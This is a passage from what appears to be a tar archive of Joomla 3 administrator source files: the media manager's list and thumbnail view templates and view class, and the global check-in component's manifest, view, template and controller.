		<a href="<?php echo COM_MEDIA_BASEURL . '/' . str_replace('%2F', '/', rawurlencode($this->_tmp_img->path_relative)); ?>" title="<?php echo $this->escape($this->_tmp_img->name); ?>" class="preview"><?php echo $this->escape($this->_tmp_img->title); ?></a>
	</td>
	<td class="dimensions">
		<?php echo JText::sprintf('COM_MEDIA_IMAGE_DIMENSIONS', $this->_tmp_img->width, $this->_tmp_img->height); ?>
	</td>
	<td class="filesize">
		<?php echo JHtml::_('number.bytes', $this->_tmp_img->size); ?>
	</td>
	<?php if ($user->authorise('core.delete', 'com_media')):?>
		<td>
			<a class="delete-item" target="_top" href="index.php?option=com_media&amp;task=file.delete&amp;tmpl=index&amp;<?php echo JSession::getFormToken(); ?>=1&amp;folder=<?php echo rawurlencode($this->state->folder); ?>&amp;rm[]=<?php echo $this->escape($this->_tmp_img->name); ?>" rel="<?php echo $this->escape($this->_tmp_img->name); ?>"><span class="icon-remove hasTooltip" title="<?php echo JHtml::_('tooltipText', 'JACTION_DELETE');?>"></span></a>
			<input type="checkbox" name="rm[]" value="<?php echo $this->escape($this->_tmp_img->name); ?>" />
		</td>
	<?php endif;?>
</tr>
<?php $dispatcher->trigger('onContentAfterDisplay', array('com_media.file', &$this->_tmp_img, &$params, 0));
com_media/views/medialist/tmpl/details_doc.php000060400000003725152455305270015543 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JHtml::_('bootstrap.tooltip');

$user       = JFactory::getUser();
$params     = new Registry;
$dispatcher = JEventDispatcher::getInstance();
$dispatcher->trigger('onContentBeforeDisplay', array('com_media.file', &$this->_tmp_doc, &$params, 0));
?>

<tr>
	<td>
		<a  title="<?php echo $this->escape($this->_tmp_doc->name); ?>">
			<?php  echo JHtml::_('image', $this->_tmp_doc->icon_16, $this->escape($this->_tmp_doc->title), null, true, true) ? JHtml::_('image', $this->_tmp_doc->icon_16, $this->_tmp_doc->title, array('width' => 16, 'height' => 16), true) : JHtml::_('image', 'media/con_info.png', $this->escape($this->_tmp_doc->title), array('width' => 16, 'height' => 16), true);?> </a>
	</td>
	<td class="description"  title="<?php echo $this->escape($this->_tmp_doc->name); ?>">
		<?php echo $this->escape($this->_tmp_doc->title); ?>
	</td>
	<td>&#160;

	</td>
	<td class="filesize">
		<?php echo JHtml::_('number.bytes', $this->_tmp_doc->size); ?>
	</td>
<?php if ($user->authorise('core.delete', 'com_media')):?>
	<td>
		<a class="delete-item" target="_top" href="index.php?option=com_media&amp;task=file.delete&amp;tmpl=index&amp;<?php echo JSession::getFormToken(); ?>=1&amp;folder=<?php echo rawurlencode($this->state->folder); ?>&amp;rm[]=<?php echo $this->escape($this->_tmp_doc->name); ?>" rel="<?php echo $this->escape($this->_tmp_doc->name); ?>"><span class="icon-remove hasTooltip" title="<?php echo JHtml::_('tooltipText', 'JACTION_DELETE');?>"></span></a>
		<input type="checkbox" name="rm[]" value="<?php echo $this->escape($this->_tmp_doc->name); ?>" />
	</td>
<?php endif;?>
</tr>
<?php $dispatcher->trigger('onContentAfterDisplay', array('com_media.file', &$this->_tmp_doc, &$params, 0));
com_media/views/medialist/tmpl/details_imgs.php000060400000004534152455305270015734 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JHtml::_('bootstrap.tooltip');

$user       = JFactory::getUser();
$params     = new Registry;
$dispatcher = JEventDispatcher::getInstance();
?>

<?php foreach ($this->images as $i => $image) : ?>
	<?php $dispatcher->trigger('onContentBeforeDisplay', array('com_media.file', &$image, &$params, 0)); ?>
	<tr>
		<?php if ($this->canDelete) : ?>
			<td>
				<?php echo JHtml::_('grid.id', $i, $this->escape($image->name), false, 'rm', 'cb-image'); ?>
			</td>
		<?php endif; ?>

		<td>
			<a class="img-preview" href="<?php echo COM_MEDIA_BASEURL . '/' . str_replace('%2F', '/', rawurlencode($image->path_relative)); ?>" title="<?php echo $this->escape($image->name); ?>">
				<?php echo JHtml::_('image', COM_MEDIA_BASEURL . '/' . $this->escape($image->path_relative), JText::sprintf('COM_MEDIA_IMAGE_TITLE', $this->escape($image->title), JHtml::_('number.bytes', $image->size)), array('width' => $image->width_16, 'height' => $image->height_16)); ?>
			</a>
		</td>

		<td class="description">
			<a href="<?php echo  COM_MEDIA_BASEURL . '/' . str_replace('%2F', '/', rawurlencode($image->path_relative)); ?>" title="<?php echo $this->escape($image->name); ?>" class="preview">
				<?php echo $this->escape($image->title); ?>
			</a>
		</td>

		<td class="dimensions">
			<?php echo JText::sprintf('COM_MEDIA_IMAGE_DIMENSIONS', $image->width, $image->height); ?>
		</td>

		<td class="filesize">
			<?php echo JHtml::_('number.bytes', $image->size); ?>
		</td>

		<?php if ($this->canDelete) : ?>
			<td>
				<a class="delete-item" target="_top" href="index.php?option=com_media&amp;task=file.delete&amp;tmpl=index&amp;<?php echo JSession::getFormToken(); ?>=1&amp;folder=<?php echo rawurlencode($this->state->folder); ?>&amp;rm[]=<?php echo $this->escape($image->name); ?>" rel="<?php echo $this->escape($image->name); ?>">
					<span class="icon-remove hasTooltip" title="<?php echo JHtml::tooltipText('JACTION_DELETE'); ?>"></span>
				</a>
			</td>
		<?php endif; ?>
	</tr>
	<?php $dispatcher->trigger('onContentAfterDisplay', array('com_media.file', &$image, &$params, 0)); ?>
<?php endforeach; ?>
com_media/views/medialist/tmpl/details_folder.php000060400000003041152455305270016240 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

$user = JFactory::getUser();

JHtml::_('bootstrap.tooltip');
?>
<tr>
	<td class="imgTotal">
		<a href="index.php?option=com_media&amp;view=mediaList&amp;tmpl=component&amp;folder=<?php echo rawurlencode($this->_tmp_folder->path_relative); ?>" target="folderframe">
			<span class="icon-folder-2"></span></a>
	</td>
	<td class="description">
		<a href="index.php?option=com_media&amp;view=mediaList&amp;tmpl=component&amp;folder=<?php echo rawurlencode($this->_tmp_folder->path_relative); ?>" target="folderframe"><?php echo $this->escape($this->_tmp_folder->name); ?></a>
	</td>
	<td>&#160;

	</td>
	<td>&#160;

	</td>
	<?php if ($user->authorise('core.delete', 'com_media')):?>
		<td>
			<a class="delete-item" target="_top" href="index.php?option=com_media&amp;task=folder.delete&amp;tmpl=index&amp;folder=<?php echo rawurlencode($this->state->folder); ?>&amp;<?php echo JSession::getFormToken(); ?>=1&amp;rm[]=<?php echo $this->_tmp_folder->name; ?>" rel="<?php echo $this->_tmp_folder->name; ?>' :: <?php echo $this->_tmp_folder->files + $this->_tmp_folder->folders; ?>"><span class="icon-remove hasTooltip" title="<?php echo JHtml::_('tooltipText', 'JACTION_DELETE');?>"></span></a>
			<input type="checkbox" name="rm[]" value="<?php echo $this->_tmp_folder->name; ?>" />
		</td>
	<?php endif;?>
</tr>
com_media/views/medialist/tmpl/default.php000060400000000406152455305270014706 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
com_media/views/medialist/tmpl/thumbs_imgs.php000060400000004056152455305270015610 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

$params     = new Registry;
$dispatcher = JEventDispatcher::getInstance();
?>

<?php foreach ($this->images as $i => $img) : ?>
	<?php $dispatcher->trigger('onContentBeforeDisplay', array('com_media.file', &$img, &$params, 0)); ?>
	<li class="imgOutline thumbnail height-80 width-80 center">
		<?php if ($this->canDelete) : ?>
			<a class="close delete-item" target="_top"
			href="index.php?option=com_media&amp;task=file.delete&amp;tmpl=index&amp;<?php echo JSession::getFormToken(); ?>=1&amp;folder=<?php echo rawurlencode($this->state->folder); ?>&amp;rm[]=<?php echo $this->escape($img->name); ?>"
			rel="<?php echo $this->escape($img->name); ?>" title="<?php echo JText::_('JACTION_DELETE'); ?>">&#215;</a>
			<div class="pull-left">
				<?php echo JHtml::_('grid.id', $i, $this->escape($img->name), false, 'rm', 'cb-image'); ?>
			</div>
			<div class="clearfix"></div>
		<?php endif; ?>

		<div class="height-50">
			<a class="img-preview" href="<?php echo COM_MEDIA_BASEURL . '/' . str_replace('%2F', '/', rawurlencode($img->path_relative)); ?>" title="<?php echo $this->escape($img->name); ?>" >
				<?php echo JHtml::_('image', COM_MEDIA_BASEURL . '/' . $this->escape($img->path_relative), JText::sprintf('COM_MEDIA_IMAGE_TITLE', $this->escape($img->title), JHtml::_('number.bytes', $img->size)), array('width' => $img->width_60, 'height' => $img->height_60)); ?>
			</a>
		</div>

		<div class="small">
			<a href="<?php echo COM_MEDIA_BASEURL, '/', rawurlencode($img->path_relative); ?>" title="<?php echo $this->escape($img->name); ?>" class="preview">
				<?php echo JHtml::_('string.truncate', $this->escape($img->name), 10, false); ?>
			</a>
		</div>
	</li>
	<?php $dispatcher->trigger('onContentAfterDisplay', array('com_media.file', &$img, &$params, 0)); ?>
<?php endforeach; ?>
com_media/views/medialist/tmpl/details_docs.php000060400000003727152455305270015730 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JHtml::_('bootstrap.tooltip');

$params     = new Registry;
$dispatcher = JEventDispatcher::getInstance();
?>

<?php foreach ($this->documents as $i => $doc) : ?>
	<?php $dispatcher->trigger('onContentBeforeDisplay', array('com_media.file', &$doc, &$params, 0)); ?>
	<tr>
		<?php if ($this->canDelete) : ?>
			<td>
				<?php echo JHtml::_('grid.id', $i, $this->escape($doc->name), false, 'rm', 'cb-document'); ?>
			</td>
		<?php endif; ?>

		<td>
			<a title="<?php echo $this->escape($doc->name); ?>">
				<?php echo JHtml::_('image', $doc->icon_16, $this->escape($doc->title), null, true, true) ? JHtml::_('image', $doc->icon_16, $this->escape($doc->title), array('width' => 16, 'height' => 16), true) : JHtml::_('image', 'media/con_info.png', $this->escape($doc->title), array('width' => 16, 'height' => 16), true); ?>
			</a>
		</td>

		<td class="description"  title="<?php echo $this->escape($doc->name); ?>">
			<?php echo $this->escape($doc->title); ?>
		</td>

		<td>&#160;</td>

		<td class="filesize">
			<?php echo JHtml::_('number.bytes', $doc->size); ?>
		</td>

		<?php if ($this->canDelete) : ?>
			<td>
				<a class="delete-item" target="_top" href="index.php?option=com_media&amp;task=file.delete&amp;tmpl=index&amp;<?php echo JSession::getFormToken(); ?>=1&amp;folder=<?php echo rawurlencode($this->state->folder); ?>&amp;rm[]=<?php echo $this->escape($doc->name); ?>" rel="<?php echo $this->escape($doc->name); ?>">
					<span class="icon-remove hasTooltip" title="<?php echo JHtml::tooltipText('JACTION_DELETE'); ?>"></span>
				</a>
			</td>
		<?php endif; ?>

	</tr>
	<?php $dispatcher->trigger('onContentAfterDisplay', array('com_media.file', &$doc, &$params, 0)); ?>
<?php endforeach; ?>
com_media/views/medialist/tmpl/details.php000060400000007302152455305270014711 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
$params = JComponentHelper::getParams('com_media');
$path   = 'file_path';

JHtml::_('jquery.framework');
JHtml::_('behavior.core');

$doc = JFactory::getDocument();

// Need to override this core function because we use a different form id
$doc->addScriptDeclaration(
	"
		Joomla.isChecked = function( isitchecked, form ) {
			if ( typeof form  === 'undefined' ) {
				form = document.getElementById( 'mediamanager-form' );
			}

			form.boxchecked.value += isitchecked ? 1 : -1;

			// If we don't have a checkall-toggle, done.
			if ( !form.elements[ 'checkall-toggle' ] ) return;

			// Toggle main toggle checkbox depending on checkbox selection
			var c = true,
				i, e, n;

			for ( i = 0, n = form.elements.length; i < n; i++ ) {
				e = form.elements[ i ];

				if ( e.type == 'checkbox' && e.name != 'checkall-toggle' && !e.checked ) {
					c = false;
					break;
				}
			}

			form.elements[ 'checkall-toggle' ].checked = c;
		};
	"
);

$doc->addScriptDeclaration(
	"
		jQuery(document).ready(function($){
			window.parent.document.updateUploader();
			$('.img-preview, .preview').each(function(index, value) {
				$(this).on('click', function(e) {
					window.parent.jQuery('#imagePreviewSrc').attr('src', $(this).attr('href'));
					window.parent.jQuery('#imagePreview').modal('show');
					return false;
				});
			});
			$('.video-preview').each(function(index, value) {
				$(this).unbind('click');
				$(this).on('click', function(e) {
					e.preventDefault();
					window.parent.jQuery('#videoPreview').modal('show');

					var elementInitialised = window.parent.jQuery('#mejsPlayer').attr('src');

					if (!elementInitialised)
					{
						window.parent.jQuery('#mejsPlayer').attr('src', $(this).attr('href'));
						window.parent.jQuery('#mejsPlayer').mediaelementplayer();
					}

					window.parent.jQuery('#mejsPlayer')[0].player.media.setSrc($(this).attr('href'));

					return false;
				});
			});
		});
	"
);
?>
<form target="_parent" action="index.php?option=com_media&amp;tmpl=index&amp;folder=<?php echo rawurlencode($this->state->folder); ?>" method="post" id="mediamanager-form" name="mediamanager-form">
	<div class="muted">
		<p>
			<span class="icon-folder"></span>
			<?php
				echo $params->get($path, 'images'),
					($this->escape($this->state->folder) != '') ? '/' . $this->escape($this->state->folder) : '';
			?>
		</p>
	</div>

	<div class="manager">
		<table class="table table-striped table-condensed">
		<thead>
			<tr>
				<?php if ($this->canDelete) : ?>
					<th width="1%">
						<?php echo JHtml::_('grid.checkall'); ?>
					</th>
				<?php endif; ?>
				<th width="1%"><?php echo JText::_('JGLOBAL_PREVIEW'); ?></th>
				<th><?php echo JText::_('COM_MEDIA_NAME'); ?></th>
				<th width="15%"><?php echo JText::_('COM_MEDIA_PIXEL_DIMENSIONS'); ?></th>
				<th width="8%"><?php echo JText::_('COM_MEDIA_FILESIZE'); ?></th>

				<?php if ($this->canDelete) : ?>
					<th width="8%">
						<?php echo JText::_('JACTION_DELETE'); ?>
					</th>
				<?php endif; ?>
			</tr>
		</thead>
		<tbody>
			<?php
				echo $this->loadTemplate('up'),
					$this->loadTemplate('folders'),
					$this->loadTemplate('docs'),
					$this->loadTemplate('videos'),
					$this->loadTemplate('imgs');
			?>
		</tbody>
		</table>
	</div>

	<input type="hidden" name="task" value="list" />
	<input type="hidden" name="username" value="" />
	<input type="hidden" name="password" value="" />
	<input type="hidden" name="boxchecked" value="" />
	<?php echo JHtml::_('form.token'); ?>
</form>
com_media/views/medialist/tmpl/thumbs.php000060400000006333152455305270014571 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
$params = JComponentHelper::getParams('com_media');
$path   = 'file_path';

JHtml::_('jquery.framework');
JHtml::_('behavior.core');

$doc = JFactory::getDocument();

// Need to override this core function because we use a different form id
$doc->addScriptDeclaration(
	"
		Joomla.isChecked = function( isitchecked, form ) {
			if ( typeof form  === 'undefined' ) {
				form = document.getElementById( 'mediamanager-form' );
			}

			form.boxchecked.value += isitchecked ? 1 : -1;

			// If we don't have a checkall-toggle, done.
			if ( !form.elements[ 'checkall-toggle' ] ) return;

			// Toggle main toggle checkbox depending on checkbox selection
			var c = true,
				i, e, n;

			for ( i = 0, n = form.elements.length; i < n; i++ ) {
				e = form.elements[ i ];

				if ( e.type == 'checkbox' && e.name != 'checkall-toggle' && !e.checked ) {
					c = false;
					break;
				}
			}

			form.elements[ 'checkall-toggle' ].checked = c;
		};
	"
);

$doc->addScriptDeclaration(
	"
		jQuery(document).ready(function($){
			window.parent.document.updateUploader();
			$('.img-preview, .preview').each(function(index, value) {
				$(this).on('click', function(e) {
					window.parent.jQuery('#imagePreviewSrc').attr('src', $(this).attr('href'));
					window.parent.jQuery('#imagePreview').modal('show');
					return false;
				});
			});
			$('.video-preview').each(function(index, value) {
				$(this).unbind('click');
				$(this).on('click', function(e) {
					e.preventDefault();
					window.parent.jQuery('#videoPreview').modal('show');

					var elementInitialised = window.parent.jQuery('#mejsPlayer').attr('src');

					if (!elementInitialised)
					{
						window.parent.jQuery('#mejsPlayer').attr('src', $(this).attr('href'));
						window.parent.jQuery('#mejsPlayer').mediaelementplayer();
					}

					window.parent.jQuery('#mejsPlayer')[0].player.media.setSrc($(this).attr('href'));

					return false;
				});
			});
		});
	"
);
?>
<form target="_parent" action="index.php?option=com_media&amp;tmpl=index&amp;folder=<?php echo rawurlencode($this->state->folder); ?>" method="post" id="mediamanager-form" name="mediamanager-form">
	<div class="muted breadcrumbs">
		<p>
			<span class="icon-folder"></span>
			<?php
				echo $params->get($path, 'images'),
					($this->escape($this->state->folder) != '') ? '/' . $this->escape($this->state->folder) : '';
			?>
		</p>
	</div>

	<div>
		<label class="checkbox btn">
			<?php echo JHtml::_('grid.checkall'); ?>
			<?php echo JText::_('JGLOBAL_CHECK_ALL'); ?>
		</label>
	</div>

	<ul class="manager thumbnails thumbnails-media">
		<?php
			echo $this->loadTemplate('up'),
				$this->loadTemplate('folders'),
				$this->loadTemplate('docs'),
				$this->loadTemplate('videos'),
				$this->loadTemplate('imgs');
		?>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="username" value="" />
		<input type="hidden" name="password" value="" />
		<input type="hidden" name="boxchecked" value="" />
		<?php echo JHtml::_('form.token'); ?>
	</ul>
</form>
com_media/views/medialist/tmpl/thumbs_docs.php000060400000003542152455305270015600 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

$params     = new Registry;
$dispatcher = JEventDispatcher::getInstance();
?>

<?php foreach ($this->documents as $i => $doc) : ?>
	<?php $dispatcher->trigger('onContentBeforeDisplay', array('com_media.file', &$doc, &$params, 0)); ?>
	<li class="imgOutline thumbnail height-80 width-80 center">
		<?php if ($this->canDelete) : ?>
			<a class="close delete-item" target="_top" href="index.php?option=com_media&amp;task=file.delete&amp;tmpl=index&amp;<?php echo JSession::getFormToken(); ?>=1&amp;folder=<?php echo rawurlencode($this->state->folder); ?>&amp;rm[]=<?php echo $this->escape($doc->name); ?>" rel="<?php echo $this->escape($doc->name); ?>" title="<?php echo JText::_('JACTION_DELETE'); ?>">&#215;</a>
			<div class="pull-left">
				<?php echo JHtml::_('grid.id', $i, $this->escape($doc->name), false, 'rm', 'cb-document'); ?>
			</div>
			<div class="clearfix"></div>
		<?php endif; ?>

		<div class="height-50">
			<a style="display: block; width: 100%; height: 100%" title="<?php echo $this->escape($doc->name); ?>" >
				<?php echo JHtml::_('image', $doc->icon_32, $this->escape($doc->name), null, true, true) ? JHtml::_('image', $doc->icon_32, $this->escape($doc->title), null, true) : JHtml::_('image', 'media/con_info.png', $this->escape($doc->name), null, true); ?>
			</a>
		</div>

		<div class="small" title="<?php echo $this->escape($doc->name); ?>" >
			<?php echo JHtml::_('string.truncate', $this->escape($doc->name), 10, false); ?>
		</div>
	</li>
	<?php $dispatcher->trigger('onContentAfterDisplay', array('com_media.file', &$doc, &$params, 0)); ?>
<?php endforeach; ?>
com_media/views/medialist/view.html.php000060400000003122152455305270014221 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML View class for the Media component
 *
 * @since  1.0
 */
class MediaViewMediaList extends JViewLegacy
{
	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   1.0
	 */
	public function display($tpl = null)
	{
		$app = JFactory::getApplication();

		if (!$app->isClient('administrator'))
		{
			return $app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'warning');
		}

		// Do not allow cache
		$app->allowCache(false);

		$this->images    = $this->get('images');
		$this->documents = $this->get('documents');
		$this->folders   = $this->get('folders');
		$this->videos    = $this->get('videos');
		$this->state     = $this->get('state');

		// Check for invalid folder name
		if (empty($this->state->folder))
		{
			$dirname = JFactory::getApplication()->input->getPath('folder', '');

			if (!empty($dirname))
			{
				$dirname = htmlspecialchars($dirname, ENT_COMPAT, 'UTF-8');
				JError::raiseWarning(100, JText::sprintf('COM_MEDIA_ERROR_UNABLE_TO_BROWSE_FOLDER_WARNDIRNAME', $dirname));
			}
		}

		$user = JFactory::getUser();
		$this->canDelete = $user->authorise('core.delete', 'com_media');

		parent::display($tpl);
	}
}
com_checkin/checkin.xml000060400000001653152455305270011145 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_checkin</name>
	<author>Joomla! Project</author>
	<creationDate>April 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_CHECKIN_XML_DESCRIPTION</description>
	<administration>
		<files folder="admin">
			<filename>checkin.php</filename>
			<filename>config.xml</filename>
			<filename>controller.php</filename>
			<folder>models</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_checkin.ini</language>
			<language tag="en-GB">language/en-GB.com_checkin.sys.ini</language>
		</languages>
	</administration>
</extension>
com_checkin/checkin.php000060400000001067152455305270011133 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_checkin
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

if (!JFactory::getUser()->authorise('core.manage', 'com_checkin'))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

$controller = JControllerLegacy::getInstance('Checkin');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_checkin/views/checkin/tmpl/default.php000060400000004323152455305270014666 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_checkin
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>
<form action="<?php echo JRoute::_('index.php?option=com_checkin'); ?>" method="post" name="adminForm" id="adminForm">
<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif;?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<?php if ($this->total > 0) : ?>
			<table id="global-checkin" class="table table-striped">
				<thead>
					<tr>
						<th width="1%"><?php echo JHtml::_('grid.checkall'); ?></th>
						<th><?php echo JHtml::_('searchtools.sort', 'COM_CHECKIN_DATABASE_TABLE', 'table', $listDirn, $listOrder); ?></th>
						<th><?php echo JHtml::_('searchtools.sort', 'COM_CHECKIN_ITEMS_TO_CHECK_IN', 'count', $listDirn, $listOrder); ?></th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="3">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
					<?php $i = 0; ?>
					<?php foreach ($this->items as $table => $count) : ?>
						<tr class="row<?php echo $i % 2; ?>">
							<td class="center"><?php echo JHtml::_('grid.id', $i, $table); ?></td>
							<td>
								<label for="cb<?php echo $i ?>">
									<?php echo JText::sprintf('COM_CHECKIN_TABLE', $table); ?>
								</label>
							</td>
							<td>
								<span class="label label-warning"><?php echo $count; ?></span>
							</td>
						</tr>
						<?php $i++; ?>
					<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_checkin/views/checkin/tmpl/default.xml000060400000000320152455305270014670 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_CHECKIN_CHECKIN_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_CHECKIN_CHECKIN_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_checkin/views/checkin/view.html.php000060400000004161152455305270014203 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_checkin
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML View class for the Checkin component
 *
 * @since  1.0
 */
class CheckinViewCheckin extends JViewLegacy
{
	/**
	 * Unused class variable
	 *
	 * @var  object
	 * @deprecated  4.0
	 */
	protected $tables;

	/**
	 * An array of items
	 *
	 * @var  array
	 */
	protected $items;

	/**
	 * The pagination object
	 *
	 * @var  JPagination
	 */
	protected $pagination;

	/**
	 * The model state
	 *
	 * @var  object
	 */
	protected $state;

	/**
	 * The sidebar markup
	 *
	 * @var  string
	 */
	protected $sidebar;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->total         = $this->get('Total');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();
		$this->sidebar = JHtmlSidebar::render();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		JToolbarHelper::title(JText::_('COM_CHECKIN_GLOBAL_CHECK_IN'), 'checkin');

		JToolbarHelper::custom('checkin', 'checkin.png', 'checkin_f2.png', 'JTOOLBAR_CHECKIN', true);

		if (JFactory::getUser()->authorise('core.admin', 'com_checkin'))
		{
			JToolbarHelper::divider();
			JToolbarHelper::preferences('com_checkin');
			JToolbarHelper::divider();
		}

		JToolbarHelper::help('JHELP_SITE_MAINTENANCE_GLOBAL_CHECK-IN');
	}
}
com_checkin/controller.php000060400000004116152455305270011710 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_checkin
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Checkin Controller
 *
 * @since  1.6
 */
class CheckinController extends JControllerLegacy
{
	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  CheckinController  A JControllerLegacy object to support chaining.
	 */
	public function display($cachable = false, $urlparams = array())
	{
		// Load the submenu.
		$this->addSubmenu($this->input->getWord('option', 'com_checkin'));

		return parent::display();
	}

	/**
	 * Check in a list of items.
	 *
	 * @return  void
	 */
	public function checkin()
	{
		// Check for request forgeries
		$this->checkToken();

		$ids = (array) $this->input->get('cid', array(), 'string');

		if (empty($ids))
		{
			JError::raiseWarning(500, JText::_('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST'));
		}
		else
		{
			// Get the model.
			/** @var CheckinModelCheckin $model */
			$model = $this->getModel();

			// Checked in the items.
			$this->setMessage(JText::plural('COM_CHECKIN_N_ITEMS_CHECKED_IN', $model->checkin($ids)));
		}

		$this->setRedirect('index.php?option=com_checkin');
	}

	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $vName  The name of the active view.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addSubmenu($vName)
	{
		JHtmlSidebar::addEntry(
			JText::_('JGLOBAL_SUBMENU_CHECKIN'),
			'index.php?option=com_checkin',
			$vName == 'com_checkin'
		);

		JHtmlSidebar::addEntry(
			JText::_('JGLOBAL_SUBMENU_CLEAR_CACHE'),
			'index.php?option=com_cache',
			$vName == 'cache'
		);
		JHtmlSidebar::addEntry(
			JText::_('JGLOBAL_SUBMENU_PURGE_EXPIRED_CACHE'),
			'index.php?option=com_cache&view=purge',
			$vName == 'purge'
		);
